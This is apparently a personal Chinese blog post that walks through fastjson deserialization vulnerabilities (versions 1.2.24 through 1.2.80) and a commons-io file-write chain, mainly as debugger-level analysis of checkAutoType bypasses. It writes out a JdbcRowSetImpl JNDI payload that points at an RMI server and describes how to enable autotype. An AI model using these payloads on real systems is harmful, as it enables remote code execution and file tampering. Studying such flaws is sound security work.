CVE-2017-18349(fastjson<=1.2.24,template链)
poc
1 | package org.example; |
FastJson将JSON字符串反序列化到指定的Java类时,会调用目标类的getter、setter等方法。
入口点是TemplatesImpl::getOutputProperties()-newTransformer()-getTranslateInstance()-defineTransletClasses()-TranslateClassLoader::defineclasses()-ClassLoader::defineClass()跟cc链中的templates链差不多
Fastjson 1.2.25-1.2.47通杀(JdbcRowSetImpl)
关于JNDI的相关文章可以看https://www.cnblogs.com/gaorenyusi/p/18452516
RMI利用的JDK版本 ≤ JDK 6u132、7u122、8u113
LADP利用JDK版本 ≤ JDK 6u211 、7u201、8u191
在fastjson自1.2.24爆出反序列化漏洞之后,1.2.25就增加了黑白名单,禁用了@type注解,更换了1.2.25版本后再运行上面的poc就会报autotype is not support错误
这是新增的反序列化类的黑名单
具体如下
1 | bsh |
payload为{“a”:{“@type”:”java.lang.Class”,”val”:”com.sun.rowset.JdbcRowSetImpl”},”b”:{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”rmi://127.0.0.1/exp”,”autoCommit”:true}}
下面解释为什么
定位到checkAutoType()方法
因为1.2.24以后autotype都默认为false
所以没有进入前面的条件判断,直接到了下图
首先去Mapping中找java.lang.Class,
没在mapping找到java.lang.Class
进入下一条语句,deserializers.findclass
可以看到deserializes中是有java.lang.Class的,成功return
对payload的a字段进行反序列化
使用了@type并过了checkautotype()的,parser.resolveStatus的值就为TypeNameRedirect,赋值的语句就在上图语句不远处
此时经过了前面一系列的处理,此时parser的token已经指向了java.lang.Class与val中间的这个逗号
219行就是检测当前token是否为逗号,如果是就进入下一个token
221行判断当前token是否为字符串,此时token指向的是”val”,通过221,222两层if判断,执行225行,到了下一个token,”val”与”com.sun.JdbcRowSetImpl”之间的冒号,通过了230行的判断,进入了下一个token,”com.sun.JdbcRowSetImpl”,解析当前token,因为是LITERAL_STRING类型的,所以objVal也是字符串,值为”com.sun.JdbcRowSetImpl”
赋值给strval
成功将”com.sun.JdbcRowSetImpl”放入mapping中
check”b”字段
因为mapping中有了JdbcRowSetImpl,直接return
直接反序列化JdbcRowSetImpl
因为json反序列化会调用对象的getter,setter方法,而JdbcRowSetImpl::setAutoCommit()会调用connect()
因为DataSource就是我们payload中传的,所以可以实现rmi,ldap。
第二种poc
有三种方式开启默认禁用的autotype
- 使用代码进行添加:
ParserConfig.getGlobalInstance().addAccept("org.example.,org.javaweb.");或者ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - 加上JVM启动参数:
-Dfastjson.parser.autoTypeAccept=org.example. - 在
fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.example.
设置autotype为true后在checkautotype中会进入这里
如果你指定的反序列化类名字以[开头或者L开头;结尾,就进入了下图
绕过了checkautotype
以[开头是将反序列化类视为一个数组形式的类,会返回一个数组class,但是后面又将这个数组中的值即我们指定的类反序列化了
L开头;结尾的是将其视为了一个普通Java类,该干嘛干嘛
1.2.42,1.2.43有因为这个的改版产生的漏洞,可以看看开头的那个链接里面讲的
fastjson1.2.68漏洞分析
第一种绕过
POC
1 | String poc = "{\n" + |
因为checkautotype()当expectclass为null时,会在几个map中查找有没有当前反序列化的类,如果找到了经过一些逻辑判断就能成功返回。
第一次进行checkautotype()
是对Exception类进行反序列化检查,因为Exception类在上述提到的几个map之一,mappings中存在,所以能绕过检测直接返回class
获取Exception的反序列化器
因为是Throwable的子类所以返回了ThrowableDeserializer
在ThrowableDeserializer#deserialize中因为下一个key是@type,所以
再次进行checkautotype,但这次带上了expectclass参数-Throwable.class
然后checkautotype会对exclassName前三个字符进行hash,然后与白名单和黑名单进行一些逻辑判断后
进行了loadclass
在loadclass中用appclassloader将exclassName加载进了jvm中
加进了mapping。
这一段是创建了一个Exception对象,并对poc中的字段值获取字段反序列化器,并将反序列化的结果通过对应字段的setter放进Exception对象中
最终会调用创建的对象的getter
但是当有键值包裹的时候异常对象就是Exception,而不是第二个@type后的对象,比如poc
但是当没有键值包裹的时候创建的异常对象就是第二个@type后的类,比如当poc为这样时
String poc = “{\n” +
“ "@type": "java.lang.Exception", "@type": "MyException"“ +
“}”;
Exception对象就是MyException,最终也能成功调用MyException的getter
所以开头的poc并不能调用InputCoercionException的getter和setter,如果去掉a键值包裹倒是可以
第二种绕过
第一种绕过是利用Exception在mapping中,且ThrowableDeserializer.deserialize调用了有expectclass参数的checkautotype.
第二种绕过是利用AutoCloseable在mapping中并且javabeanDeserializer.deserialize调用了有expectclass参数的checkautotype.
POC
1 | import com.alibaba.fastjson.JSON; |
也能成功弹出计算器,只是从ThrowableDeserializer.deserialize变成了JavaBeanDeserialize.deserialize
什么时候调用setter?
不知道为什么我步入不了FastJsonASMDeserializer#deserialze,下图是setter的调用栈
何时调用getter?
在成功反序列化对象之后,调用JSON.toJSON(obj)将对象转换成JSONObject(是个Map)
这个过程中根据类中有多少个getter方法(而不是有多少个属性)创建有多少个元素的Map<String,Object>。
调用getter将Map填满。之后遍历这个Map,将key和toJSON(value)填入进JSONObject中,因为value也被toJSON()了,所以会调用value所属对象的getter方法。
因为会调用value的getter,所以又有了新的利用点
1 | import com.alibaba.fastjson.JSON; |
因为上述代码块有个dataSource属性,对应的setter需要一个URL参数,而URL在白名单中,所以能成功反序列化URL实例。在setter方法中,将URL作为参数赋值给了URLDataSource,而这样的赋值是不经过checkautotype检测的,checkautotype只管反序列化JSON字符串中有@type的部分,而setter部分是管不着的。所以调用setValue方法后DataSource的值就为URLDataSource了,在toJSON阶段URLDataSource还会调用其getter,而URLDataSource中有个getInputStream,调用了url.openStream(),最终会调用url.openConnnection()
1.2.80
这个漏洞能将setter参数、公有字段、构造函数参数的类型添加进deserializer中从而使其能绕过checkautotype(其实1.2.68也可以)
相较于1.2.68,将AutoCloseable添加进了黑名单。所以要用上述的第一种方法利用Throwable进行绕过
POC
1 | String poc = "{\n" + |
clazz的编译类型为Myclass
在checkautotype返回了MyException.class后创建了MyException实例,获取MyException对应的反序列化器ThrowableDeserializer
之后在上图最下方cast方法中经过一堆判断后将MyClass添加进了deserializer中,这样MyClass也能绕过checkautotype了
但是如果你在JSON字符串中写了的属性没有setter的话就不能成功加载了。
因为没有setter上图标蓝的方法就会返回null,就跳过了给实例clazz赋值的过程。deserialize函数直接返回了上面创建的那个MyException实例。而将MyClass加载进deserializer中是在上图标蓝处下方的cast函数中,所以自然Myclass也就没加载进去。
上述是将setter参数加载进deserializer的流程,其实构造函数参数和公共字段都是一样的流程,MyException的反序列化器exBeanDeser调用了getFieldDeserializer(key),这个Filed指的是JSON字符串中的字段,不管是setter参数,构造函数参数还是公共字段都属于Field.实例的反序列化器会根据key查找对应的字段反序列化器,找出字段所对应的真正类,接着调用cast进行转换并将真正类加载进deserializer中
流程:
- 反序列化Exception,发现接下来的字段是@type,调用了checkautotype(有expectclass版)
- 将MyException加载进mapping中,返回了class后创建MyException实例,获取对应的反序列化器
- 通过MyException的反序列化器获取字段的反序列化器,发现实际类型与编译类型不一致后进行cast转换
- 将编译类型加载进deserialize中
- 将转换好的value利用对应的setter方法放进MyException实例中
- 还是在最后toJSON(MyException)时调用的MyException的getter貌似并不会调用value的getter
参考:
fastjson-in-spring
payload
1 | { |
利用链分析
XmlStreamReader构造函数
因为fastjson会根据你payload中的字段来决定用哪个构造函数,所以is,httpContentTypem,lenlent,defaultEncoding这四个字段payload中都有
这个构造函数调用了dohttpStream
注意看源码,dohttpStream的参数bom是一个BOMInputStream,bom中又包含了一个BufferedInputStream,而BufferdInputStream中又包含了XmlInputStream的构造参数is.
dohttpStream调用了getBomCharsetName->getBOM
什么是BOM?
BOM,全称 Byte Order Mark,是一种 用于标记文本文件编码方式 的特殊字节序列。
一种BOM就对应着一种编码方式,通过读取一个流前面的几个字节就可判断是由什么BOM编写的。
getBOM方法的逻辑如下:
获取boms字段第一个字节数组的长度赋值给maxBomSize,创建一个int数组firstBytes长度为maxBomSize.
循环调用InputStream.read()中读取maxBomSize个字节,将firstBytes与boms中的bom进行比较,如果成功匹配,就返回一个BOM对象
上图中可以看到getBOM->in.read()
而in就是BufferedInputStream
BufferedInputStream.read()->is(这个is就是XmlInputStream的参数,即TeeInputStream).read(byte[],int,int)
最终会调用到TeeInputStream的构造参数input(即ReaderInputStream).read(byte[],int,int)->fillBuffer()->reader(即CharSequenceReader).read(byte[],int,int)->read()
读取CharSequence的字节,由poc可知charsequence的值是一个String.
由TeeInputStream的read(byte[],int,int)方法可知会将Charsequence读取到的值写入进TeeInputStream的构造参数branch中。
接下来就是写文件部分
branch是一个WriterOutputStream
其write(byte[],int,int)->flushOutput()->writer(即FileWriterWithEncoding).write(byte[],int,int)->out(即利用file参数创建的OutputStreamWriter).write(byte[],int,int)
因为fastjson是先创建字段的实例再创建类的实例,所以当调用XmlStreamReader的构造函数时字段都已经赋值好了,将CharSequence读到的值写入进file中
但运行程序后会发现文件系统中创建了file,但是里面是空的
问题出在这个方法
这是这个方法的调用链
因为传入的数组太短了,所以charsequence的值并不会真正的写入文件中。
那如何使数组增长呢?只是单纯的增长charsequence的值并不能成功写入,因为XmlStreamReader#dohttpstream中创建的BufferedInputStream的长度给定了是4096,但是需要超过8192才能成功写入。
要利用fastjson的$ref循环引用机制
1 | { |
fastjson-in-spring1.2.80的版本可以看
https://squirt1e.top/2024/11/08/fastjson-1.2.80-springboot-xin-lian/已经懒得再写了,感觉这漏洞好恶心
jqctf就不复现了,就算把那道题要考的漏洞看完了之后再去看岳神的wp还是感觉如果复现的话会很痛苦
About this Post
This post is written by DashingBug, licensed under CC BY-NC 4.0.